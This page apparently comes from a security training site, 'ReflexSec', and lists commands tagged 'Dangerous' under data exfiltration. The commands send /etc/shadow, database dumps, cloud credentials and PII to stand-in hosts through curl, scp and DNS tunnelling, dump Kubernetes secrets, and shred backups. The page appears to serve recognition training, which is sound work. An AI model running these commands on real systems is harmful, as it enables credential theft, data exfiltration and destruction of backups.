← ReflexSec
Data Exfiltration
Every command ReflexSec uses, with the explanation behind the call. No timer — read at your own pace.
AllFile SystemNetworkingPrivilege EscalationPersistenceCredential AccessData ExfiltrationProcess ExecutionShellContainersCloudGit / DevelopmentLinuxmacOSWindowsPowerShellPythonJavaScript / NodeDockerKubernetesCI/CDWeb Security
- Dangerous
curl -X POST --data-binary @/etc/shadow https://example.com/collectAdvanced - Dangerous
tar -czf - /home/deploy/.ssh | openssl enc -aes-256-cbc -pbkdf2 -out /tmp/.kAdvanced - Dangerous
mysqldump -u root -p"$DBPASS" --all-databases | curl -T - https://example.com/uploadExpert - Dangerous
aws s3 cp s3://example-backups/db.sql - | gzip | curl -T - https://example.com/dropNightmare - Dangerous
find /var/www -name '*.php' -newermt '-2 days' -exec sh -c 'mkdir -p /tmp/.s && cp "$1" /tmp/.s/' _ {} \;Nightmare - Dangerous
for f in ./secrets/*; do host "$(base64 -w0 "$f" | head -c 60).lookup.example.com"; doneNightmare - Dangerous
pg_dump -h db.example.internal appdb | ssh deploy@bastion.example.com 'cat > /srv/appdb.sql'ProAdvanced - Dangerous
COPY (SELECT * FROM users) TO '/srv/export/users.csv' WITH CSV HEADER;ProAdvanced - Dangerous
tar -czf - ./logs | curl -s -T - https://files.example.com/upload/app-logs.tgzProExpert - Dangerous
jq --argfile creds "$CRED_FILE" '.auth = $creds' request.json > /var/www/html/status.jsonProExpert - Dangerous
rsync -az ./ backup@backup.example.com:/vault/app/ProNightmare - Dangerous
zip -r support-bundle.zip /etc/app /home/deploy/.configProAdvanced - Dangerous
Get-ChildItem C:\inetpub\wwwroot -Recurse -Filter web.config | Select-String -Pattern 'password=' | Out-File \\198.51.100.25\share\found.txtProExpert - Dangerous
kubectl get secrets -A -o yaml > cluster-secrets.yamlProExpert - Dangerous
aws s3 presign s3://example-backups/db-dump.sql --expires-in 604800ProAdvanced - Dangerous
curl -s http://metadata.example.internal/latest/meta-data/iam/security-credentials/app-role | curl -T - https://collect.example.net/cProExpert - Dangerous
curl -F file=@./sample-8f2a.bin https://scan.example.net/api/uploadProExpert - Dangerous
scp ./sample-8f2a.bin analyst@fileserver.example.com:/shared/tools/ProNightmare - Dangerous
tar czf loot.tgz /srv/app/exports/customers && scp loot.tgz redteam@collect.example.net:/loot/ProIntermediate - Dangerous
psql -h prod-db.example.com -U app -c 'SELECT * FROM payments LIMIT 100;'ProAdvanced - Dangerous
proxychains -q ssh backup@203.0.113.9 'mysqldump --all-databases | gzip > /tmp/all.sql.gz'ProNightmare - Dangerous
xxd -p -c16 /srv/app/exports/pii.csv | while read c; do dig $c.tunnel.example.net +short; doneProNightmare - Dangerous
shred -u /backups/nightly.sql.gzBeginner